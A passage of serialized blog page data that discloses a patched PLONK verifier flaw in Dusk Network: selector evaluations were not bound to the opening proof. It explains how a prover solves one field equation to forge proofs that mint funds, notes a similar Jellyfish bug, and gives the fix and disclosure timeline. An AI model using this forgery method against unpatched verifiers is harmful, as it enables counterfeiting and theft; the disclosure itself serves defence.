",{"type":24,"tag":32,"props":145617,"children":145619},{"className":145618},[],[145620],{"type":29,"value":145418},{"type":29,"value":568},{"type":24,"tag":32,"props":145623,"children":145625},{"className":145624},[],[145626],{"type":29,"value":145425},{"type":29,"value":6234},{"type":24,"tag":32,"props":145629,"children":145631},{"className":145630},[],[145632],{"type":29,"value":145432},{"type":29,"value":145634},", but no ",{"type":24,"tag":32,"props":145636,"children":145638},{"className":145637},[],[145639],{"type":29,"value":145640},"c_w_eval",{"type":29,"value":145642},", so the verifier never consumes an unbound ",{"type":24,"tag":32,"props":145644,"children":145646},{"className":145645},[3726,3727],[145647],{"type":24,"tag":83,"props":145648,"children":145650},{"className":145649},[3732],[145651],{"type":24,"tag":83,"props":145652,"children":145654},{"className":145653,"ariaHidden":1237},[3737],[145655],{"type":24,"tag":83,"props":145656,"children":145658},{"className":145657},[3742],[145659,145663,145668,145673,145678,145683],{"type":24,"tag":83,"props":145660,"children":145662},{"className":145661,"style":3854},[3747],[],{"type":24,"tag":83,"props":145664,"children":145666},{"className":145665},[3753,21328],[145667],{"type":29,"value":2891},{"type":24,"tag":83,"props":145669,"children":145671},{"className":145670},[21457],[145672],{"type":29,"value":558},{"type":24,"tag":83,"props":145674,"children":145676},{"className":145675,"style":113137},[3753,21328],[145677],{"type":29,"value":113140},{"type":24,"tag":83,"props":145679,"children":145681},{"className":145680,"style":93246},[3753,21328],[145682],{"type":29,"value":144270},{"type":24,"tag":83,"props":145684,"children":145686},{"className":145685},[21479],[145687],{"type":29,"value":2872},{"type":29,"value":145689}," claim (",{"type":24,"tag":2033,"props":145691,"children":145693},{"href":145511,"rel":145692},[2037],[145694],{"type":29,"value":145515},{"type":29,"value":2554},{"type":24,"tag":67,"props":145697,"children":145698},{},[145699,145701,145788,145790,145882,145883,145890],{"type":29,"value":145700},"There is a fourth permutation commitment ",{"type":24,"tag":32,"props":145702,"children":145704},{"className":145703},[3726,3727],[145705],{"type":24,"tag":83,"props":145706,"children":145708},{"className":145707},[3732],[145709],{"type":24,"tag":83,"props":145710,"children":145712},{"className":145711,"ariaHidden":1237},[3737],[145713],{"type":24,"tag":83,"props":145714,"children":145716},{"className":145715},[3742],[145717,145721,145726,145783],{"type":24,"tag":83,"props":145718,"children":145720},{"className":145719,"style":3854},[3747],[],{"type":24,"tag":83,"props":145722,"children":145724},{"className":145723},[21457],[145725],{"type":29,"value":1161},{"type":24,"tag":83,"props":145727,"children":145729},{"className":145728},[3753],[145730,145735],{"type":24,"tag":83,"props":145731,"children":145733},{"className":145732,"style":93246},[3753,21328],[145734],{"type":29,"value":144165},{"type":24,"tag":83,"props":145736,"children":145738},{"className":145737},[3769],[145739],{"type":24,"tag":83,"props":145740,"children":145742},{"className":145741},[3774,21382],[145743,145772],{"type":24,"tag":83,"props":145744,"children":145746},{"className":145745},[3779],[145747,145767],{"type":24,"tag":83,"props":145748,"children":145750},{"className":145749,"style":92812},[3784],[145751],{"type":24,"tag":83,"props":145752,"children":145753},{"style":93293},[145754,145758],{"type":24,"tag":83,"props":145755,"children":145757},{"className":145756,"style":3794},[3793],[],{"type":24,"tag":83,"props":145759,"children":145761},{"className":145760},[3799,3800,3801,3802],[145762],{"type":24,"tag":83,"props":145763,"children":145765},{"className":145764},[3753,3802],[145766],{"type":29,"value":17265},{"type":24,"tag":83,"props":145768,"children":145770},{"className":145769},[21485],[145771],{"type":29,"value":21488},{"type":24,"tag":83,"props":145773,"children":145775},{"className":145774},[3779],[145776],{"type":24,"tag":83,"props":145777,"children":145779},{"className":145778,"style":92843},[3784],[145780],{"type":24,"tag":83,"props":145781,"children":145782},{},[],{"type":24,"tag":83,"props":145784,"children":145786},{"className":145785},[21479],[145787],{"type":29,"value":15151},{"type":29,"value":145789}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":24,"tag":32,"props":145791,"children":145793},{"className":145792},[3726,3727],[145794],{"type":24,"tag":83,"props":145795,"children":145797},{"className":145796},[3732],[145798],{"type":24,"tag":83,"props":145799,"children":145801},{"className":145800,"ariaHidden":1237},[3737],[145802],{"type":24,"tag":83,"props":145803,"children":145805},{"className":145804},[3742],[145806,145810,145867,145872,145877],{"type":24,"tag":83,"props":145807,"children":145809},{"className":145808,"style":3854},[3747],[],{"type":24,"tag":83,"props":145811,"children":145813},{"className":145812},[3753],[145814,145819],{"type":24,"tag":83,"props":145815,"children":145817},{"className":145816,"style":93246},[3753,21328],[145818],{"type":29,"value":144165},{"type":24,"tag":83,"props":145820,"children":145822},{"className":145821},[3769],[145823],{"type":24,"tag":83,"props":145824,"children":145826},{"className":145825},[3774,21382],[145827,145856],{"type":24,"tag":83,"props":145828,"children":145830},{"className":145829},[3779],[145831,145851],{"type":24,"tag":83,"props":145832,"children":145834},{"className":145833,"style":92812},[3784],[145835],{"type":24,"tag":83,"props":145836,"children":145837},{"style":93293},[145838,145842],{"type":24,"tag":83,"props":145839,"children":145841},{"className":145840,"style":3794},[3793],[],{"type":24,"tag":83,"props":145843,"children":145845},{"className":145844},[3799,3800,3801,3802],[145846],{"type":24,"tag":83,"props":145847,"children":145849},{"className":145848},[3753,3802],[145850],{"type":29,"value":17265},{"type":24,"tag":83,"props":145852,"children":145854},{"className":145853},[21485],[145855],{"type":29,"value":21488},{"type":24,"tag":83,"props":145857,"children":145859},{"className":145858},[3779],[145860],{"type":24,"tag":83,"props":145861,"children":145863},{"className":145862,"style":92843},[3784],[145864],{"type":24,"tag":83,"props":145865,"children":145866},{},[],{"type":24,"tag":83,"props":145868,"children":145870},{"className":145869},[21457],[145871],{"type":29,"value":558},{"type":24,"tag":83,"props":145873,"children":145875},{"className":145874,"style":113137},[3753,21328],[145876],{"type":29,"value":113140},{"type":24,"tag":83,"props":145878,"children":145880},{"className":145879},[21479],[145881],{"type":29,"value":2872},{"type":29,"value":223},{"type":24,"tag":2033,"props":145884,"children":145887},{"href":145885,"rel":145886},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[2037],[145888],{"type":29,"value":145889},"permutation verifier key",{"type":29,"value":2554},{"type":24,"tag":25,"props":145892,"children":145893},{},[145894,145896,145906],{"type":29,"value":145895},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":24,"tag":2033,"props":145897,"children":145900},{"href":145898,"rel":145899},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[2037],[145901],{"type":24,"tag":32,"props":145902,"children":145904},{"className":145903},[],[145905],{"type":29,"value":145347},{"type":29,"value":145907},", which leaves the master equation underconstrained.",{"type":24,"tag":25,"props":145909,"children":145910},{},[145911],{"type":24,"tag":2510,"props":145912,"children":145915},{"alt":145913,"src":145914},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":24,"tag":18531,"props":145917,"children":145918},{},[],{"type":24,"tag":51,"props":145920,"children":145922},{"id":145921},"the-exploitation",[145923],{"type":29,"value":145924},"The exploitation",{"type":24,"tag":25,"props":145926,"children":145927},{},[145928],{"type":29,"value":145929},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":24,"tag":25,"props":145931,"children":145932},{},[145933,145935,145941,145943,145948,145950,145955,145957,145963],{"type":29,"value":145934},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":24,"tag":32,"props":145936,"children":145938},{"className":145937},[],[145939],{"type":29,"value":145940},"z_challenge",{"type":29,"value":145942},", it computes what the linearization polynomial ",{"type":24,"tag":2655,"props":145944,"children":145945},{},[145946],{"type":29,"value":145947},"should",{"type":29,"value":145949}," evaluate to for the pairing check to pass, then solves for ",{"type":24,"tag":32,"props":145951,"children":145953},{"className":145952},[],[145954],{"type":29,"value":145468},{"type":29,"value":145956},", the single free variable that makes the verification equation balance (setting ",{"type":24,"tag":32,"props":145958,"children":145960},{"className":145959},[],[145961],{"type":29,"value":145962},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":2554},{"type":24,"tag":25,"props":145965,"children":145966},{},[145967],{"type":24,"tag":2510,"props":145968,"children":145971},{"alt":145969,"src":145970},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":24,"tag":25,"props":145973,"children":145974},{},[145975,145977,146017,146019,146044,146046,146051],{"type":29,"value":145976},"To achieve this one may compute the linearization polynomial ",{"type":24,"tag":32,"props":145978,"children":145980},{"className":145979},[3726,3727],[145981],{"type":24,"tag":83,"props":145982,"children":145984},{"className":145983},[3732],[145985],{"type":24,"tag":83,"props":145986,"children":145988},{"className":145987,"ariaHidden":1237},[3737],[145989],{"type":24,"tag":83,"props":145990,"children":145992},{"className":145991},[3742],[145993,145997,146002,146007,146012],{"type":24,"tag":83,"props":145994,"children":145996},{"className":145995,"style":3854},[3747],[],{"type":24,"tag":83,"props":145998,"children":146000},{"className":145999,"style":92760},[3753,21328],[146001],{"type":29,"value":93579},{"type":24,"tag":83,"props":146003,"children":146005},{"className":146004},[21457],[146006],{"type":29,"value":558},{"type":24,"tag":83,"props":146008,"children":146010},{"className":146009},[3753,21328],[146011],{"type":29,"value":19015},{"type":24,"tag":83,"props":146013,"children":146015},{"className":146014},[21479],[146016],{"type":29,"value":2872},{"type":29,"value":146018}," with all selectors set to zero, evaluating it at ",{"type":24,"tag":32,"props":146020,"children":146022},{"className":146021},[3726,3727],[146023],{"type":24,"tag":83,"props":146024,"children":146026},{"className":146025},[3732],[146027],{"type":24,"tag":83,"props":146028,"children":146030},{"className":146029,"ariaHidden":1237},[3737],[146031],{"type":24,"tag":83,"props":146032,"children":146034},{"className":146033},[3742],[146035,146039],{"type":24,"tag":83,"props":146036,"children":146038},{"className":146037,"style":110421},[3747],[],{"type":24,"tag":83,"props":146040,"children":146042},{"className":146041,"style":113137},[3753,21328],[146043],{"type":29,"value":113140},{"type":29,"value":146045},", and comparing to the target value; the difference divided by the coefficient of ",{"type":24,"tag":32,"props":146047,"children":146049},{"className":146048},[],[146050],{"type":29,"value":145468},{"type":29,"value":146052}," gives the required value in a single field division.",{"type":24,"tag":18531,"props":146054,"children":146055},{},[],{"type":24,"tag":51,"props":146057,"children":146059},{"id":146058},"impact-on-dusk-network",[146060],{"type":29,"value":146061},"Impact on Dusk Network",{"type":24,"tag":25,"props":146063,"children":146064},{},[146065,146067,146074],{"type":29,"value":146066},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":24,"tag":2033,"props":146068,"children":146071},{"href":146069,"rel":146070},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[2037],[146072],{"type":29,"value":146073},"preverify path",{"type":29,"value":146075},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":24,"tag":63,"props":146077,"children":146078},{},[146079,146084,146089],{"type":24,"tag":67,"props":146080,"children":146081},{},[146082],{"type":29,"value":146083},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":24,"tag":67,"props":146085,"children":146086},{},[146087],{"type":29,"value":146088},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":24,"tag":67,"props":146090,"children":146091},{},[146092],{"type":29,"value":146093},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":24,"tag":25,"props":146095,"children":146096},{},[146097],{"type":29,"value":146098},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":24,"tag":63,"props":146100,"children":146101},{},[146102,146107,146117,146129,146134],{"type":24,"tag":67,"props":146103,"children":146104},{},[146105],{"type":29,"value":146106},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":24,"tag":67,"props":146108,"children":146109},{},[146110,146112],{"type":29,"value":146111},"The malicious wallet forges a PLONK proof to create ",{"type":24,"tag":2040,"props":146113,"children":146114},{},[146115],{"type":29,"value":146116},"2000 DUSK from nothing",{"type":24,"tag":67,"props":146118,"children":146119},{},[146120,146122,146127],{"type":29,"value":146121},"The malicious wallet transfers ",{"type":24,"tag":2040,"props":146123,"children":146124},{},[146125],{"type":29,"value":146126},"1337 DUSK",{"type":29,"value":146128}," to the honest wallet using a normal (honestly-proved) transaction",{"type":24,"tag":67,"props":146130,"children":146131},{},[146132],{"type":29,"value":146133},"The honest node validates both transactions and mines them into blocks",{"type":24,"tag":67,"props":146135,"children":146136},{},[146137],{"type":29,"value":146138},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":24,"tag":25,"props":146140,"children":146141},{},[146142],{"type":24,"tag":2510,"props":146143,"children":146146},{"alt":146144,"src":146145},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":24,"tag":25,"props":146148,"children":146149},{},[146150,146152,146158,146160,146167],{"type":29,"value":146151},"At the time of discovery, DUSK's market cap was roughly ",{"type":24,"tag":2033,"props":146153,"children":146155},{"href":141453,"rel":146154},[2037],[146156],{"type":29,"value":146157},"~60M",{"type":29,"value":146159},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":24,"tag":2033,"props":146161,"children":146164},{"href":146162,"rel":146163},"https://neptune.cash/articles/critical-vulnerability-disclosure",[2037],[146165],{"type":29,"value":146166},"Triton VM vulnerability",{"type":29,"value":161},{"type":24,"tag":18531,"props":146169,"children":146170},{},[],{"type":24,"tag":51,"props":146172,"children":146174},{"id":146173},"the-fix",[146175],{"type":29,"value":146176},"The fix",{"type":24,"tag":25,"props":146178,"children":146179},{},[146180],{"type":29,"value":146181},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":24,"tag":16422,"props":146183,"children":146184},{},[146185,146230],{"type":24,"tag":67,"props":146186,"children":146187},{},[146188,146190,146201,146203,146209,146210,146216,146217,146223,146224],{"type":29,"value":146189},"Extend ",{"type":24,"tag":2033,"props":146191,"children":146194},{"href":146192,"rel":146193},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[2037],[146195],{"type":24,"tag":32,"props":146196,"children":146198},{"className":146197},[],[146199],{"type":29,"value":146200},"compute_aggregate_witness",{"type":29,"value":146202}," on the prover side to also include ",{"type":24,"tag":32,"props":146204,"children":146206},{"className":146205},[],[146207],{"type":29,"value":146208},"q_arith",{"type":29,"value":568},{"type":24,"tag":32,"props":146211,"children":146213},{"className":146212},[],[146214],{"type":29,"value":146215},"q_c",{"type":29,"value":568},{"type":24,"tag":32,"props":146218,"children":146220},{"className":146219},[],[146221],{"type":29,"value":146222},"q_l",{"type":29,"value":6234},{"type":24,"tag":32,"props":146225,"children":146227},{"className":146226},[],[146228],{"type":29,"value":146229},"q_r",{"type":24,"tag":67,"props":146231,"children":146232},{},[146233,146235,146245],{"type":29,"value":146234},"Add their evaluations to ",{"type":24,"tag":2033,"props":146236,"children":146239},{"href":146237,"rel":146238},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[2037],[146240],{"type":24,"tag":32,"props":146241,"children":146243},{"className":146242},[],[146244],{"type":29,"value":145347},{"type":29,"value":146246}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":24,"tag":25,"props":146248,"children":146249},{},[146250,146252,146259],{"type":29,"value":146251},"This was done in ",{"type":24,"tag":2033,"props":146253,"children":146256},{"href":146254,"rel":146255},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[2037],[146257],{"type":29,"value":146258},"commit 645265b7",{"type":29,"value":146260},", which landed on February 14, 2026.",{"type":24,"tag":18531,"props":146262,"children":146263},{},[],{"type":24,"tag":51,"props":146265,"children":146267},{"id":146266},"why-was-this-missed",[146268],{"type":29,"value":146269},"Why was this missed?",{"type":24,"tag":25,"props":146271,"children":146272},{},[146273,146275,146282,146283,146290,146292,146299,146301,146308],{"type":29,"value":146274},"Dusk's stack had been heavily audited: a ",{"type":24,"tag":2033,"props":146276,"children":146279},{"href":146277,"rel":146278},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[2037],[146280],{"type":29,"value":146281},"December 2023 audit of dusk-plonk",{"type":29,"value":123923},{"type":24,"tag":2033,"props":146284,"children":146287},{"href":146285,"rel":146286},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[2037],[146288],{"type":29,"value":146289},"September 2024 audit of Phoenix",{"type":29,"value":146291},", and a ",{"type":24,"tag":2033,"props":146293,"children":146296},{"href":146294,"rel":146295},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[2037],[146297],{"type":29,"value":146298},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":146300},". Dusk's public ",{"type":24,"tag":2033,"props":146302,"children":146305},{"href":146303,"rel":146304},"https://dusk.network/news/audits-overview",[2037],[146306],{"type":29,"value":146307},"audits overview",{"type":29,"value":146309}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":24,"tag":25,"props":146311,"children":146312},{},[146313,146315,146320],{"type":29,"value":146314},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":24,"tag":2655,"props":146316,"children":146317},{},[146318],{"type":29,"value":146319},"evaluations",{"type":29,"value":161},{"type":24,"tag":25,"props":146322,"children":146323},{},[146324],{"type":29,"value":146325},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":24,"tag":25,"props":146327,"children":146328},{},[146329],{"type":29,"value":146330},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":24,"tag":51,"props":146332,"children":146334},{"id":146333},"a-similar-bug-in-espresso-systems-jellyfish",[146335],{"type":29,"value":146336},"A similar bug in Espresso Systems' Jellyfish",{"type":24,"tag":25,"props":146338,"children":146339},{},[146340,146342,146349],{"type":29,"value":146341},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":24,"tag":2033,"props":146343,"children":146346},{"href":146344,"rel":146345},"https://github.com/EspressoSystems/jellyfish/",[2037],[146347],{"type":29,"value":146348},"jf-plonk",{"type":29,"value":146350}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":24,"tag":25,"props":146352,"children":146353},{},[146354,146356,146363,146365,146376,146378,146403,146405,146430],{"type":29,"value":146355},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":24,"tag":2033,"props":146357,"children":146360},{"href":146358,"rel":146359},"https://eprint.iacr.org/2020/315",[2037],[146361],{"type":29,"value":146362},"Plookup",{"type":29,"value":146364}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":24,"tag":2033,"props":146366,"children":146369},{"href":146367,"rel":146368},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[2037],[146370],{"type":24,"tag":32,"props":146371,"children":146373},{"className":146372},[],[146374],{"type":29,"value":146375},"append_plookup_evaluations",{"type":29,"value":146377}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":24,"tag":32,"props":146379,"children":146381},{"className":146380},[3726,3727],[146382],{"type":24,"tag":83,"props":146383,"children":146385},{"className":146384},[3732],[146386],{"type":24,"tag":83,"props":146387,"children":146389},{"className":146388,"ariaHidden":1237},[3737],[146390],{"type":24,"tag":83,"props":146391,"children":146393},{"className":146392},[3742],[146394,146398],{"type":24,"tag":83,"props":146395,"children":146397},{"className":146396,"style":110421},[3747],[],{"type":24,"tag":83,"props":146399,"children":146401},{"className":146400,"style":93246},[3753,21328],[146402],{"type":29,"value":113484},{"type":29,"value":146404}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":24,"tag":32,"props":146406,"children":146408},{"className":146407},[3726,3727],[146409],{"type":24,"tag":83,"props":146410,"children":146412},{"className":146411},[3732],[146413],{"type":24,"tag":83,"props":146414,"children":146416},{"className":146415,"ariaHidden":1237},[3737],[146417],{"type":24,"tag":83,"props":146418,"children":146420},{"className":146419},[3742],[146421,146425],{"type":24,"tag":83,"props":146422,"children":146424},{"className":146423,"style":110421},[3747],[],{"type":24,"tag":83,"props":146426,"children":146428},{"className":146427,"style":93246},[3753,21328],[146429],{"type":29,"value":113484},{"type":29,"value":146431},", so the prover can adjust them after the fact to make the check pass.",{"type":24,"tag":25,"props":146433,"children":146434},{},[146435,146437,146443,146445,146451],{"type":29,"value":146436},"The attack requires modifying a single evaluation (",{"type":24,"tag":32,"props":146438,"children":146440},{"className":146439},[],[146441],{"type":29,"value":146442},"key_table_next_eval",{"type":29,"value":146444},") by ",{"type":24,"tag":32,"props":146446,"children":146448},{"className":146447},[],[146449],{"type":29,"value":146450},"delta / (u * v^3)",{"type":29,"value":146452}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":24,"tag":25,"props":146454,"children":146455},{},[146456,146458,146465,146467,146478],{"type":29,"value":146457},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":24,"tag":2033,"props":146459,"children":146462},{"href":146460,"rel":146461},"https://github.com/EspressoSystems/jellyfish/pull/867",[2037],[146463],{"type":29,"value":146464},"PR #867",{"type":29,"value":146466}," fixed the issue and was tagged as ",{"type":24,"tag":2033,"props":146468,"children":146471},{"href":146469,"rel":146470},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[2037],[146472],{"type":24,"tag":32,"props":146473,"children":146475},{"className":146474},[],[146476],{"type":29,"value":146477},"jf-plonk-v0.8.0",{"type":29,"value":146479}," on March 18, 2026.",{"type":24,"tag":18531,"props":146481,"children":146482},{},[],{"type":24,"tag":51,"props":146484,"children":146486},{"id":146485},"toward-standardization",[146487],{"type":29,"value":146488},"Toward standardization",{"type":24,"tag":25,"props":146490,"children":146491},{},[146492,146494,146501],{"type":29,"value":146493},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":24,"tag":2033,"props":146495,"children":146498},{"href":146496,"rel":146497},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[2037],[146499],{"type":29,"value":146500},"similar patterns appear across zkVMs",{"type":29,"value":146502},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":24,"tag":25,"props":146504,"children":146505},{},[146506],{"type":29,"value":146507},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":24,"tag":25,"props":146509,"children":146510},{},[146511],{"type":29,"value":146512},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":24,"tag":51,"props":146514,"children":146515},{"id":60538},[146516],{"type":29,"value":146517},"Disclosure timeline",{"type":24,"tag":55458,"props":146519,"children":146520},{},[146521,146537],{"type":24,"tag":122531,"props":146522,"children":146523},{},[146524],{"type":24,"tag":122535,"props":146525,"children":146526},{},[146527,146532],{"type":24,"tag":122539,"props":146528,"children":146529},{},[146530],{"type":29,"value":146531},"Date",{"type":24,"tag":122539,"props":146533,"children":146534},{},[146535],{"type":29,"value":146536},"Event",{"type":24,"tag":122559,"props":146538,"children":146539},{},[146540,146553,146566,146578,146604,146624],{"type":24,"tag":122535,"props":146541,"children":146542},{},[146543,146548],{"type":24,"tag":122566,"props":146544,"children":146545},{},[146546],{"type":29,"value":146547},"2026-02-13",{"type":24,"tag":122566,"props":146549,"children":146550},{},[146551],{"type":29,"value":146552},"Dusk vulnerability reported",{"type":24,"tag":122535,"props":146554,"children":146555},{},[146556,146561],{"type":24,"tag":122566,"props":146557,"children":146558},{},[146559],{"type":29,"value":146560},"2026-02-14",{"type":24,"tag":122566,"props":146562,"children":146563},{},[146564],{"type":29,"value":146565},"Dusk acknowledged",{"type":24,"tag":122535,"props":146567,"children":146568},{},[146569,146573],{"type":24,"tag":122566,"props":146570,"children":146571},{},[146572],{"type":29,"value":146560},{"type":24,"tag":122566,"props":146574,"children":146575},{},[146576],{"type":29,"value":146577},"Dusk fix committed",{"type":24,"tag":122535,"props":146579,"children":146580},{},[146581,146586],{"type":24,"tag":122566,"props":146582,"children":146583},{},[146584],{"type":29,"value":146585},"2026-02-27",{"type":24,"tag":122566,"props":146587,"children":146588},{},[146589,146591,146602],{"type":29,"value":146590},"Public ",{"type":24,"tag":2033,"props":146592,"children":146595},{"href":146593,"rel":146594},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[2037],[146596],{"type":24,"tag":32,"props":146597,"children":146599},{"className":146598},[],[146600],{"type":29,"value":146601},"dusk-rusk-1.6.0",{"type":29,"value":146603}," release published",{"type":24,"tag":122535,"props":146605,"children":146606},{},[146607,146612],{"type":24,"tag":122566,"props":146608,"children":146609},{},[146610],{"type":29,"value":146611},"2026-03-16",{"type":24,"tag":122566,"props":146613,"children":146614},{},[146615,146617,146623],{"type":29,"value":146616},"Jellyfish fix PR opened (",{"type":24,"tag":2033,"props":146618,"children":146620},{"href":146460,"rel":146619},[2037],[146621],{"type":29,"value":146622},"#867",{"type":29,"value":2872},{"type":24,"tag":122535,"props":146625,"children":146626},{},[146627,146632],{"type":24,"tag":122566,"props":146628,"children":146629},{},[146630],{"type":29,"value":146631},"2026-03-18",{"type":24,"tag":122566,"props":146633,"children":146634},{},[146635,146637,146642,146644],{"type":29,"value":146636},"Jellyfish fix merged in ",{"type":24,"tag":2033,"props":146638,"children":146640},{"href":146460,"rel":146639},[2037],[146641],{"type":29,"value":146622},{"type":29,"value":146643}," and tagged as ",{"type":24,"tag":2033,"props":146645,"children":146647},{"href":146469,"rel":146646},[2037],[146648],{"type":24,"tag":32,"props":146649,"children":146651},{"className":146650},[],[146652],{"type":29,"value":146477},{"type":24,"tag":51,"props":146654,"children":146656},{"id":146655},"acknowledgements",[146657],{"type":29,"value":146658},"Acknowledgements",{"type":24,"tag":25,"props":146660,"children":146661},{},[146662],{"type":29,"value":146663},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":113,"depth":113,"links":146665},[146666,146673,146674,146675,146676,146677,146678,146679,146680,146681,146682,146683],{"id":141483,"depth":113,"text":141486,"children":146667},[146668,146669,146670,146671,146672],{"id":141508,"depth":128,"text":141511},{"id":142311,"depth":128,"text":142314},{"id":143509,"depth":128,"text":143512},{"id":143539,"depth":128,"text":143542},{"id":143820,"depth":128,"text":143823},{"id":144553,"depth":113,"text":144556},{"id":144691,"depth":113,"text":144694},{"id":90014,"depth":113,"text":145322},{"id":145921,"depth":113,"text":145924},{"id":146058,"depth":113,"text":146061},{"id":146173,"depth":113,"text":146176},{"id":146266,"depth":113,"text":146269},{"id":146333,"depth":113,"text":146336},{"id":146485,"depth":113,"text":146488},{"id":60538,"depth":113,"text":146517},{"id":146655,"depth":113,"text":146658},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":146688,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":146689,"description":146690,"date":146691,"author":123190,"image":146692,"isFeatured":16,"onBlogPage":16,"tags":146694,"body":146697,"_type":2606,"_id":156077,"_source":2608,"_file":156078,"_stem":156079,"_extension":2611},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write 